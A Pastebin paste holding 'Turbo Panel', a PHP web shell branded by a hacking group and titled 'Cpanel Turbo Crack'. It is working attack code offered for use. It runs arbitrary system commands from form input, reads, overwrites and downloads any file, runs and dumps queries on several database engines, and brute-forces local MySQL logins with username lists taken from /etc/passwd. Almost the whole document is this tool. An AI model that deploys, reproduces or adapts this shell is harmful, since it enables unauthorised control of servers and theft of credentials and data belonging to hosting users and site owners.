API tools faq
paste
long_term

Cpanel Turbo Crack

long_term
Jul 22nd, 2014
389
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 23.21 KB | None | 0 0
raw download clone embed print report
  1. <html>
  2. <title>Turbo Panel | Farik-Hacker-Maroc | 4m4z1gh</title>
  3. <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
  4. <?php
  5. /*
  6. Turbo Panel By Farik-Hacker-Maroc.com | 4m4z1gh
  7. */
  8. @set_time_limit(0);
  9. @error_reporting(0);
  10.  
  11.  
  12. echo '<head>
  13.  
  14. <style type="text/css">
  15. <!--
  16. body {
  17.     background-color: #000000;
  18.    font-size: 18px;
  19.     color: #cccccc;
  20. }
  21. input,textarea,select{
  22. font-weight: bold;
  23. color: #cccccc;
  24. dashed #ffffff;
  25. border: 1px
  26. solid #2C2C2C;
  27. background-color: #080808
  28. }
  29. a {
  30.     background-color: #151515;
  31.     vertical-align: bottom;
  32.     color: #000;
  33.     text-decoration: none;
  34.     font-size: 20px;
  35.     margin: 8px;
  36.     padding: 6px;
  37.     border: thin solid #000;
  38. }
  39. a:hover {
  40.     background-color: #080808;
  41.     vertical-align: bottom;
  42.     color: #333;
  43.     text-decoration: none;
  44.     font-size: 20px;
  45.     margin: 8px;
  46.     padding: 6px;
  47.     border: thin solid #000;
  48. }
  49. .style1 {
  50.     text-align: center;
  51. }
  52. .style2 {
  53.     color: #FFFFFF;
  54.     font-weight: bold;
  55. }
  56. .style3 {
  57.     color: #FFFFFF;
  58. }
  59. -->
  60. </style>
  61.  
  62. </head>
  63. ';
  64.  
  65.  
  66. function in($type,$name,$size,$value,$checked=0)
  67.  {
  68.  $ret = "<input type=".$type." name=".$name." "; if($size != 0)
  69.  {
  70.  $ret .= "size=".$size." "; }
  71.  $ret .= "value=\"".$value."\""; if($checked) $ret .= " checked"; return $ret.">"; }
  72.  
  73. class my_sql
  74.  {
  75.  var $host = 'localhost'; var $port = ''; var $user = ''; var $pass = ''; var $base = ''; var $db = ''; var $connection; var $res; var $error; var $rows; var $columns; var $num_rows; var $num_fields; var $dump; function connect()
  76.  {
  77.  switch($this->db)
  78.  {
  79.  case 'MySQL': if(empty($this->port))
  80.  {
  81.  $this->port = '3306'; }
  82.  if(!function_exists('mysql_connect')) return 0; $this->connection = @mysql_connect($this->host.':'.$this->port,$this->user,$this->pass); if(is_resource($this->connection)) return 1; $this->error = @mysql_errno()." : ".@mysql_error(); break; case 'MSSQL': if(empty($this->port))
  83.  {
  84.  $this->port = '1433'; }
  85.  if(!function_exists('mssql_connect')) return 0; $this->connection = @mssql_connect($this->host.','.$this->port,$this->user,$this->pass); if($this->connection) return 1; $this->error = "Can't connect to server"; break; case 'PostgreSQL': if(empty($this->port))
  86.  {
  87.  $this->port = '5432'; }
  88.  $str = "host='".$this->host."' port='".$this->port."' user='".$this->user."' password='".$this->pass."' dbname='".$this->base."'"; if(!function_exists('pg_connect')) return 0; $this->connection = @pg_connect($str); if(is_resource($this->connection)) return 1; $this->error = @pg_last_error($this->connection); break; case 'Oracle': if(!function_exists('ocilogon')) return 0; $this->connection = @ocilogon($this->user, $this->pass, $this->base); if(is_resource($this->connection)) return 1; $error = @ocierror(); $this->error=$error['message']; break; }
  89.  return 0; }
  90.  function select_db()
  91.  {
  92.  switch($this->db)
  93.  {
  94.  case 'MySQL': if(@mysql_select_db($this->base,$this->connection)) return 1; $this->error = @mysql_errno()." : ".@mysql_error(); break; case 'MSSQL': if(@mssql_select_db($this->base,$this->connection)) return 1; $this->error = "Can't select database"; break; case 'PostgreSQL': return 1; break; case 'Oracle': return 1; break; }
  95.  return 0; }
  96.  function query($query)
  97.  {
  98.  $this->res=$this->error=''; switch($this->db)
  99.  {
  100.  case 'MySQL': if(false===($this->res=@mysql_query('/*'.chr(0).'*/'.$query,$this->connection)))
  101.  {
  102.  $this->error = @mysql_error($this->connection); return 0; }
  103.  else if(is_resource($this->res))
  104.  {
  105.  return 1; }
  106.  return 2; break; case 'MSSQL': if(false===($this->res=@mssql_query($query,$this->connection)))
  107.  {
  108.  $this->error = 'Query error'; return 0; }
  109.  else if(@mssql_num_rows($this->res) > 0)
  110.  {
  111.  return 1; }
  112.  return 2; break; case 'PostgreSQL': if(false===($this->res=@pg_query($this->connection,$query)))
  113.  {
  114.  $this->error = @pg_last_error($this->connection); return 0; }
  115.  else if(@pg_num_rows($this->res) > 0)
  116.  {
  117.  return 1; }
  118.  return 2; break; case 'Oracle': if(false===($this->res=@ociparse($this->connection,$query)))
  119.  {
  120.  $this->error = 'Query parse error'; }
  121.  else
  122.  {
  123.  if(@ociexecute($this->res))
  124.  {
  125.  if(@ocirowcount($this->res) != 0) return 2; return 1; }
  126.  $error = @ocierror(); $this->error=$error['message']; }
  127.  break; }
  128.  return 0; }
  129.  function get_result()
  130.  {
  131.  $this->rows=array(); $this->columns=array(); $this->num_rows=$this->num_fields=0; switch($this->db)
  132.  {
  133.  case 'MySQL': $this->num_rows=@mysql_num_rows($this->res); $this->num_fields=@mysql_num_fields($this->res); while(false !== ($this->rows[] = @mysql_fetch_assoc($this->res))); @mysql_free_result($this->res); if($this->num_rows)
  134.  {
  135. $this->columns = @array_keys($this->rows[0]); return 1;}
  136.  break; case 'MSSQL': $this->num_rows=@mssql_num_rows($this->res); $this->num_fields=@mssql_num_fields($this->res); while(false !== ($this->rows[] = @mssql_fetch_assoc($this->res))); @mssql_free_result($this->res); if($this->num_rows)
  137.  {
  138. $this->columns = @array_keys($this->rows[0]); return 1;}
  139. ; break; case 'PostgreSQL': $this->num_rows=@pg_num_rows($this->res); $this->num_fields=@pg_num_fields($this->res); while(false !== ($this->rows[] = @pg_fetch_assoc($this->res))); @pg_free_result($this->res); if($this->num_rows)
  140.  {
  141. $this->columns = @array_keys($this->rows[0]); return 1;}
  142.  break; case 'Oracle': $this->num_fields=@ocinumcols($this->res); while(false !== ($this->rows[] = @oci_fetch_assoc($this->res))) $this->num_rows++; @ocifreestatement($this->res); if($this->num_rows)
  143.  {
  144. $this->columns = @array_keys($this->rows[0]); return 1;}
  145.  break; }
  146.  return 0; }
  147.  function dump($table)
  148.  {
  149.  if(empty($table)) return 0; $this->dump=array(); $this->dump[0] = '##'; $this->dump[1] = '## --------------------------------------- '; $this->dump[2] = '##  Created: '.date ("d/m/Y H:i:s"); $this->dump[3] = '## Database: '.$this->base; $this->dump[4] = '##    Table: '.$table; $this->dump[5] = '## --------------------------------------- '; switch($this->db)
  150.  {
  151.  case 'MySQL': $this->dump[0] = '## MySQL dump'; if($this->query('/*'.chr(0).'*/ SHOW CREATE TABLE `'.$table.'`')!=1) return 0; if(!$this->get_result()) return 0; $this->dump[] = $this->rows[0]['Create Table'].";"; $this->dump[] = '## --------------------------------------- '; if($this->query('/*'.chr(0).'*/ SELECT * FROM `'.$table.'`')!=1) return 0; if(!$this->get_result()) return 0; for($i=0;$i<$this->num_rows;$i++)
  152.  {
  153.  foreach($this->rows[$i] as $k=>$v)
  154.  {
  155. $this->rows[$i][$k] = @mysql_real_escape_string($v);}
  156.  $this->dump[] = 'INSERT INTO `'.$table.'` (`'.@implode("`, `", $this->columns).'`) VALUES (\''.@implode("', '", $this->rows[$i]).'\');'; }
  157.  break; case 'MSSQL': $this->dump[0] = '## MSSQL dump'; if($this->query('SELECT * FROM '.$table)!=1) return 0; if(!$this->get_result()) return 0; for($i=0;$i<$this->num_rows;$i++)
  158.  {
  159.  foreach($this->rows[$i] as $k=>$v)
  160.  {
  161. $this->rows[$i][$k] = @addslashes($v);}
  162.  $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');'; }
  163.  break; case 'PostgreSQL': $this->dump[0] = '## PostgreSQL dump'; if($this->query('SELECT * FROM '.$table)!=1) return 0; if(!$this->get_result()) return 0; for($i=0;$i<$this->num_rows;$i++)
  164.  {
  165.  foreach($this->rows[$i] as $k=>$v)
  166.  {
  167. $this->rows[$i][$k] = @addslashes($v);}
  168.  $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');'; }
  169.  break; case 'Oracle': $this->dump[0] = '## ORACLE dump'; $this->dump[] = '## under construction'; break; default: return 0; break; }
  170.  return 1; }
  171.  function close()
  172.  {
  173.  switch($this->db)
  174.  {
  175.  case 'MySQL': @mysql_close($this->connection); break; case 'MSSQL': @mssql_close($this->connection); break; case 'PostgreSQL': @pg_close($this->connection); break; case 'Oracle': @oci_close($this->connection); break; }
  176.  }
  177.  function affected_rows()
  178.  {
  179.  switch($this->db)
  180.  {
  181.  case 'MySQL': return @mysql_affected_rows($this->res); break; case 'MSSQL': return @mssql_affected_rows($this->res); break; case 'PostgreSQL': return @pg_affected_rows($this->res); break; case 'Oracle': return @ocirowcount($this->res); break; default: return 0; break; }
  182.  }
  183.  }
  184.  if(!empty($_POST['cccc']) && $_POST['cccc']=="download_file" && !empty($_POST['d_name']))
  185.  {
  186.  if(!$file=@fopen($_POST['d_name'],"r"))
  187.  {
  188.  err(1,$_POST['d_name']); $_POST['cccc']=""; }
  189.  else
  190.  {
  191.  @ob_clean(); $filename = @basename($_POST['d_name']); $filedump = @fread($file,@filesize($_POST['d_name'])); fclose($file); $content_encoding=$mime_type=''; compress($filename,$filedump,$_POST['compress']); if (!empty($content_encoding))
  192.  {
  193.  header('Content-Encoding: ' . $content_encoding); }
  194.  header("Content-type: ".$mime_type); header("Content-disposition: attachment; filename=\"".$filename."\";"); echo $filedump; exit(); }
  195.  }
  196.  if(isset($_GET['phpinfo']))
  197.  {
  198.  echo @phpinfo(); echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die(); }
  199.  if (!empty($_POST['cccc']) && $_POST['cccc']=="db_query")
  200.  {
  201.  echo $head; $sql = new my_sql(); $sql->db = $_POST['db']; $sql->host = $_POST['db_server']; $sql->port = $_POST['db_port']; $sql->user = $_POST['mysql_l']; $sql->pass = $_POST['mysql_p']; $sql->base = $_POST['mysql_db']; $querys = @explode(';',$_POST['db_query']); echo '<body bgcolor=#e4e0d8>'; if(!$sql->connect()) echo "<div align=center><font face=Verdana size=-2 color=red><b>".$sql->error."</b></font></div>"; else
  202.  {
  203.  if(!empty($sql->base)&&!$sql->select_db()) echo "<div align=center><font face=Verdana size=-2 color=red><b>".$sql->error."</b></font></div>"; else
  204.  {
  205.  foreach($querys as $num=>$query)
  206.  {
  207.  if(strlen($query)>5)
  208.  {
  209.  echo "<font face=Verdana size=-2 color=green><b>Query#".$num." : ".htmlspecialchars($query,ENT_QUOTES)."</b></font><br>"; switch($sql->query($query))
  210.  {
  211.  case '0': echo "<table width=100%><tr><td><font face=Verdana size=-2>Error : <b>".$sql->error."</b></font></td></tr></table>"; break; case '1': if($sql->get_result())
  212.  {
  213.  echo "<table width=100%>"; foreach($sql->columns as $k=>$v) $sql->columns[$k] = htmlspecialchars($v,ENT_QUOTES); $keys = @implode("&nbsp;</b></font></td><td bgcolor=#800000><font face=Verdana size=-2><b>&nbsp;", $sql->columns); echo "<tr><td bgcolor=#800000><font face=Verdana size=-2><b>&nbsp;".$keys."&nbsp;</b></font></td></tr>"; for($i=0;$i<$sql->num_rows;$i++)
  214.  {
  215.  foreach($sql->rows[$i] as $k=>$v) $sql->rows[$i][$k] = htmlspecialchars($v,ENT_QUOTES); $values = @implode("&nbsp;</font></td><td><font face=Verdana size=-2>&nbsp;",$sql->rows[$i]); echo '<tr><td><font face=Verdana size=-2>&nbsp;'.$values.'&nbsp;</font></td></tr>'; }
  216.  echo "</table>"; }
  217.  break; case '2': $ar = $sql->affected_rows()?($sql->affected_rows()):('0'); echo "<table width=100%><tr><td><font face=Verdana size=-2>affected rows : <b>".$ar."</b></font></td></tr></table><br>"; break; }
  218.  }
  219.  }
  220.  }
  221.  }
  222.  echo "<br><title>Turbo Panel By Farik-Hacker-Maroc | 4m4z1gh</title><form name=form method=POST>";
  223.  echo in('hidden','db',0,$_POST['db']); echo in('hidden','db_server',0,$_POST['db_server']); echo in('hidden','db_port',0,$_POST['db_port']); echo in('hidden','mysql_l',0,$_POST['mysql_l']); echo in('hidden','mysql_p',0,$_POST['mysql_p']); echo in('hidden','mysql_db',0,$_POST['mysql_db']); echo in('hidden','cccc',0,'db_query');
  224.  echo "<div align=center>"; echo "<font face=Verdana size=-2><b>Base: </b><input type=text name=mysql_db value=\"".$sql->base."\"></font><br>"; echo "<textarea cols=65 rows=10 name=db_query>".(!empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES;\nSELECT * FROM user;"))."</textarea><br><input type=submit name=submit value=\" Run SQL query \"></div><br><br>"; echo "</form>"; echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die(); }
  225.  
  226.  
  227. function ccmmdd($ccmmdd2,$att)
  228. {
  229. global $ccmmdd2,$att;
  230. echo '
  231. <table style="width: 100%" class="style1" dir="rtl">
  232.     <tr>
  233.         <td class="style9"><strong>&#65533;&#65533;&#65533;&#65533; &#65533;&#65533;&#65533;&#65533;&#65533;&#65533;</strong></td>
  234.     </tr>
  235.     <tr>
  236.         <td class="style13">
  237.                 <form method="post">
  238.                     <select name="att" dir="rtl" style="height: 109px" size="6">
  239. ';
  240. if($_POST['att']==null)
  241. {
  242. echo '                      <option value="system" selected="">system</option>';
  243. }else{
  244. echo "                      <option value='$_POST[att]' selected=''>$_POST[att]</option>
  245.                         <option value=system>system</option>
  246. ";
  247.  
  248.                        
  249. }
  250.  
  251. echo '
  252.                         <option value="passthru">passthru</option>
  253.                         <option value="exec">exec</option>
  254.                         <option value="shell_exec">shell_exec</option> 
  255.                     </select>
  256.                         <input name="page" value="ccmmdd" type="hidden"><br>
  257.                         <input dir="ltr" name="ccmmdd2" style="width: 173px" type="text" value="';if(!$_POST['ccmmdd2']){echo 'dir';}else{echo $_POST['ccmmdd2'];}echo '"><br>
  258.                         <input type="submit" value="&#65533;&#65533;&#65533;&#65533;&#65533;">
  259.                 </form>
  260.        
  261.         </td>
  262.     </tr>
  263.     <tr>
  264.         <td class="style13">
  265. ';
  266.  
  267.         if($_POST[att]=='system')
  268.         {
  269. echo '
  270.                     <textarea dir="ltr" name="TextArea1" style="width: 745px; height: 204px">';
  271.                     system($_POST['ccmmdd2']);
  272. echo '                  </textarea>';
  273.  
  274.  
  275.         }
  276.  
  277.         if($_POST[att]=='passthru')
  278.         {
  279. echo '
  280.                     <textarea dir="ltr" name="TextArea1" style="width: 745px; height: 204px">';
  281.                     passthru($_POST['ccmmdd2']);
  282. echo '                  </textarea>';
  283.  
  284.  
  285.         }
  286.  
  287.        
  288.  
  289.  
  290.  
  291.         if($_POST[att]=='exec')
  292.         {
  293.  
  294. echo '                  <textarea dir="ltr" name="TextArea1" style="width: 745px; height: 204px">';
  295.                     exec($_POST['ccmmdd2'],$res);
  296.                 echo $res = join("\n",$res);               
  297. echo '                  </textarea>';
  298.  
  299.  
  300.         }
  301.  
  302.  
  303.  
  304.  
  305.  
  306.  
  307.  
  308.         if($_POST[att]=='shell_exec')
  309.         {
  310.  
  311. echo '                  <textarea dir="ltr" name="TextArea1" style="width: 745px; height: 204px">';
  312.                 echo    shell_exec($_POST['ccmmdd2']);
  313. echo '                  </textarea>';
  314.  
  315.  
  316.         }
  317. echo '     
  318.         </td>
  319.     </tr>
  320. </table>
  321. ';
  322.  
  323. exit;
  324. }
  325.  
  326. if($_POST['page']=='edit')
  327. {
  328.  
  329. $code=@str_replace("\r\n","\n",$_POST['code']);
  330. $code=@str_replace('\\','',$code);
  331. $fp = fopen($pathclass, 'w');
  332. fwrite($fp,"$code");
  333. fclose($fp);
  334. echo "<center><b>OK Edit<br><br><br><br><a href=".$_SERVER['PHP_SELF'].">BACK</a>";
  335. exit;
  336. }  
  337.  
  338.  
  339.  
  340.  
  341.  
  342.  
  343.  
  344.     if($_POST['page']=='show')
  345.     {
  346.     $pathclass =$_POST['pathclass'];
  347. echo '
  348. <form method="POST">
  349. <input type="hidden" name="page" value="edit">
  350. ';
  351.    
  352.     $sahacker = fopen($pathclass, "rb");
  353. echo '<center>'.$pathclass.'<br><textarea dir="ltr" name="code" style="width: 845px; height: 404px">'; 
  354. $code = fread($sahacker, filesize($pathclass));
  355. echo $code =htmlspecialchars($code);
  356. echo '</textarea>';
  357.     fclose($sahacker);
  358. echo '
  359. <br><input type="text" name="pathclass" value="'.$pathclass.'" style="width: 445px;">
  360. <br><strong><input type="submit" value="edit file">
  361. </form>
  362. ';
  363.         exit;
  364.     }
  365.  
  366.  
  367.  
  368.  
  369.     if($_POST['page']=='ccmmdd')
  370.     {
  371.     echo ccmmdd($ccmmdd2,$att);
  372.     exit;
  373.     }
  374.  
  375.  
  376.  
  377.  
  378.  
  379.  
  380.  
  381.  
  382.  
  383.  
  384.  
  385.  
  386.  
  387.  
  388.  
  389.  
  390.  
  391.  
  392.  
  393.  
  394.  
  395.  
  396.  
  397.  
  398. if($_POST['page']=='find')
  399. {
  400. if(isset($_POST['usernames']) && isset($_POST['passwords']))
  401. {
  402.     if($_POST['type'] == 'passwd'){
  403.         $e = explode("\n",$_POST['usernames']);
  404.         foreach($e as $value){
  405.         $k = explode(":",$value);
  406.         $username .= $k['0']." ";
  407.         }
  408.     }elseif($_POST['type'] == 'simple'){
  409.         $username = str_replace("\n",' ',$_POST['usernames']);
  410.     }
  411.     $a1 = explode(" ",$username);
  412.     $a2 = explode("\n",$_POST['passwords']);
  413.     $id2 = count($a2);
  414.     $ok = 0;
  415.     foreach($a1 as $user )
  416.     {
  417.         if($user !== '')
  418.         {
  419.         $user=trim($user);
  420.          for($i=0;$i<=$id2;$i++)
  421.          {
  422.             $pass = trim($a2[$i]);
  423.             if(@mysql_connect('localhost',$user,$pass))
  424.             {
  425.                 echo "FHM~ user is (<b><font color=green>$user</font></b>) Password is (<b><font color=green>$pass</font></b>)<br />";
  426.                 $ok++;
  427.             }
  428.          }
  429.         }
  430.     }
  431.     echo "<hr><b>You Found <font color=green>$ok</font> Cpanel By Farik-Hacker-Maroc | 4m4z1gh Script Name</b>";
  432.     echo "<center><b><a href=".$_SERVER['PHP_SELF'].">BACK</a>";
  433.     exit;
  434. }
  435. }
  436. ?>
  437.  
  438.  
  439.  
  440.  
  441. <form method="POST" target="_blank">
  442.     <strong>
  443. <input name="page" type="hidden" value="find">                     
  444.     </strong>
  445.     <table width="600" border="0" cellpadding="3" cellspacing="1" align="center">
  446.     <tr>
  447.         <td valign="top" bgcolor="#151515"><center><strong><img src="http://farik-hacker-maroc.com/images/styles/DarkCore/style/logo.png" /><br>
  448.         </strong>
  449.         <a href="http://farik-hacker-maroc.com" class="style2"><strong>T-Panel by Farik-Hacker-Maroc</strong></a></center></td>
  450.     </tr>
  451.     <tr>
  452.     <td>
  453.     <table width="100%" border="0" cellpadding="3" cellspacing="1" align="center">
  454.     <td valign="top" bgcolor="#151515" class="style2" style="width: 139px">
  455.     <strong>User :</strong></td>
  456.     <td valign="top" bgcolor="#151515" colspan="5"><strong><textarea cols="40" rows="10" name="usernames"></textarea></strong></td>
  457.     </tr>
  458.     <tr>
  459.     <td valign="top" bgcolor="#151515" class="style2" style="width: 139px">
  460.     <strong>Pass :</strong></td>
  461.     <td valign="top" bgcolor="#151515" colspan="5"><strong><textarea cols="40" rows="10" name="passwords"></textarea></strong></td>
  462.     </tr>
  463.     <tr>
  464.     <td valign="top" bgcolor="#151515" class="style2" style="width: 139px">
  465.     <strong>Type :</strong></td>
  466.     <td valign="top" bgcolor="#151515" colspan="5">
  467.     <span class="style2"><strong>Simple : </strong> </span>
  468.     <strong>
  469.     <input type="radio" name="type" value="simple" checked="checked" class="style3"></strong>
  470.     <font class="style2"><strong>/etc/passwd : </strong> </font>
  471.     <strong>
  472.     <input type="radio" name="type" value="passwd" class="style3"></strong><span class="style3"><strong>
  473.     </strong>
  474.     </span>
  475.     </td>
  476.     </tr>
  477.     <tr>
  478.     <td valign="top" bgcolor="#151515" style="width: 139px"></td>
  479.     <td valign="top" bgcolor="#151515" colspan="5"><strong><input type="submit" value="start">
  480.     </strong>
  481.     </td>
  482.     <tr>
  483. </form>    
  484.    
  485.     <td valign="top" colspan="6"><strong></strong></td>
  486.  
  487. <form method="POST" target="_blank">
  488. <strong>
  489. <input type="hidden" name="go" value="cmd_mysql">
  490.         </strong>
  491.         <tr>
  492.     <td valign="top" bgcolor="#151515" class="style1" colspan="6"><strong>CMD MYSQL</strong></td>
  493.                     </tr>
  494.         <tr>
  495.     <td valign="top" bgcolor="#151515" style="width: 139px"><strong>user</strong></td>
  496.     <td valign="top" bgcolor="#151515"><strong><input name="mysql_l" type="text"></strong></td>
  497.     <td valign="top" bgcolor="#151515"><strong>pass</strong></td>
  498.     <td valign="top" bgcolor="#151515"><strong><input name="mysql_p" type="text"></strong></td>
  499.     <td valign="top" bgcolor="#151515"><strong>database</strong></td>
  500.     <td valign="top" bgcolor="#151515"><strong><input name="mysql_db" type="text"></strong></td>
  501.                     </tr>
  502.                     <tr>
  503.     <td valign="top" bgcolor="#151515" style="height: 25px; width: 139px;">
  504.     <strong>cmd ~</strong></td>
  505.     <td valign="top" bgcolor="#151515" colspan="5" style="height: 25px">
  506.     <strong>
  507.     <textarea name="db_query" style="width: 353px; height: 89px">SHOW DATABASES;
  508. SHOW TABLES user_vb ;
  509. SELECT * FROM user;
  510. SELECT version();
  511. SELECT user();</textarea></strong></td>
  512.         </tr>
  513.         <tr>
  514.     <td valign="top" bgcolor="#151515" style="width: 139px"><strong></strong></td>
  515.     <td valign="top" bgcolor="#151515" colspan="5"><strong><input type="submit" value="run"></strong></td>
  516.         </tr>
  517. <input name="db" value="MySQL" type="hidden">
  518. <input name="db_server" type="hidden" value="localhost">
  519. <input name="db_port" type="hidden" value="3306">
  520. <input name="cccc" type="hidden" value="db_query">
  521.        
  522. </form>    
  523.         <tr>
  524.     <td valign="top" bgcolor="#151515" colspan="6"><strong></strong></td>
  525.  
  526.  
  527.         </tr>
  528.        
  529. <form method="POST" target="_blank">
  530.         <tr>
  531.     <td valign="top" bgcolor="#151515" class="style1" colspan="6"><strong>CMD
  532.     system - passthru - exec - shell_exec</strong></td>
  533.                     </tr>
  534.         <tr>
  535.     <td valign="top" bgcolor="#151515" style="width: 139px"><strong>cmd ~</strong></td>
  536.     <td valign="top" bgcolor="#151515" colspan="5">
  537.                     <select name="att" dir="rtl"  size="1">
  538. <?php
  539. if($_POST['att']==null)
  540. {
  541. echo '                      <option value="system" selected="">system</option>';
  542. }else{
  543. echo "                      <option value='$_POST[att]' selected=''>$_POST[att]</option>
  544.                         <option value=system>system</option>
  545. ";
  546.  
  547.                        
  548. }
  549. ?>
  550.  
  551.                         <option value="passthru">passthru</option>
  552.                         <option value="exec">exec</option>
  553.                         <option value="shell_exec">shell_exec</option>
  554.                     </select>    
  555.     <strong>
  556. <input name="page" type="hidden" value="ccmmdd">    
  557.     <input name="ccmmdd2" type="text" style="width: 284px" value="ls -la"></strong></td>
  558.         </tr>
  559.         <tr>
  560.     <td valign="top" bgcolor="#151515" style="width: 139px"><strong></strong></td>
  561.     <td valign="top" bgcolor="#151515" colspan="5"><strong><input type="submit" value="go"></strong></td>
  562.         </tr>
  563. </form>            
  564.  
  565. <form method="POST" target="_blank">
  566.  
  567.         <tr>
  568.     <td valign="top" bgcolor="#151515" class="style1" colspan="6"><strong>Show
  569.     File And Edit</strong></td>
  570.                     </tr>
  571.         <tr>
  572.     <td valign="top" bgcolor="#151515" style="width: 139px"><strong>Path ~</strong></td>
  573.     <td valign="top" bgcolor="#151515" colspan="5">
  574.     <strong>
  575.     <input name="pathclass" type="text" style="width: 284px" value="<?php echo realpath('')?>"></strong></td>
  576.         </tr>
  577.         <tr>
  578.     <td valign="top" bgcolor="#151515" style="width: 139px"><strong></strong></td>
  579.     <td valign="top" bgcolor="#151515" colspan="5"><strong><input type="submit" value="show"></strong></td>
  580.                     </tr>
  581. <input name="page" type="hidden" value="show">                     
  582. </form>                
  583.                     <tr>
  584.     <td valign="top" bgcolor="#151515" class="style1" colspan="6"><strong>Info
  585.     Security</strong></td>
  586.                     </tr>
  587.         <tr>
  588.     <td valign="top" bgcolor="#151515" style="width: 139px"><strong>Safe Mode</strong></td>
  589.     <td valign="top" bgcolor="#151515" colspan="5">
  590.     <strong>
  591. <?php
  592. $safe_mode = ini_get('safe_mode');
  593. if($safe_mode=='1')
  594. {
  595. echo 'ON';
  596. }else{
  597. echo 'OFF';
  598. }
  599.  
  600. ?> 
  601.     </strong>  
  602.     </td>
  603.                     </tr>
  604.     <tr>
  605.     <td valign="top" bgcolor="#151515" style="width: 139px"><strong>Function</strong></td>
  606.     <td valign="top" bgcolor="#151515" colspan="5">
  607.     <strong>
  608. <?php
  609. if(''==($func=@ini_get('disable_functions')))
  610. {
  611. echo "<font color=#00800F>No Security for Function</font></b>";
  612. }else{
  613. echo "<font color=red>$func</font></b>";
  614. }
  615. ?></strong></td>
  616.     <tr>
  617.     <td valign="top" bgcolor="#151515" style="width: 139px"><strong></strong></td>
  618.     <td valign="top" bgcolor="#151515" colspan="5"><strong></strong></td>
  619.     </table>
  620.     </td>
  621.     </tr>
  622.     </table>
  623.    
  624.    
  625.    
  626.    
  627.     <meta http-equiv="content-type" content="text/html; charset=UTF-8"></head><body>
  628. </body></html>
  629.  
  630.  
  631.  
  632.  
  633.  
  634.       <form style="border: 0px ridge #FFFFFF">
  635.  
  636.  
  637.  
  638.  
  639.     <p align="center"></td>
  640.   </tr><div align="center">
  641.  
  642.                 <tr>
  643.  
  644.  
  645.  
  646. <input type="submit"   name="user" value="user"><option value="name"></select>
  647. </form>
  648.  
  649.  
  650. <div align="center">
  651.  <table border="5" width="10%" bordercolorlight="#008000" bordercolordark="#006A00" height="100" cellspacing="5">
  652. <tr>
  653. <td bordercolorlight="#008000" bordercolordark="#006A00">
  654. <p align="left">
  655. <textarea  method='POST' rows="25" name="S1" cols="16">
  656.  
  657.  
  658. <?php
  659.  
  660.  
  661.  
  662.       if ($_GET['user'] )
  663.  
  664.  
  665.       system('ls /var/mail');
  666.  
  667.  
  668.  
  669.  
  670.  
  671.                                            for($uid=0;$uid<90000;$uid++){
  672.  
  673.                                         }
  674.  
  675.  
  676.  
  677.  
  678. ?></textarea>
Advertisement
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!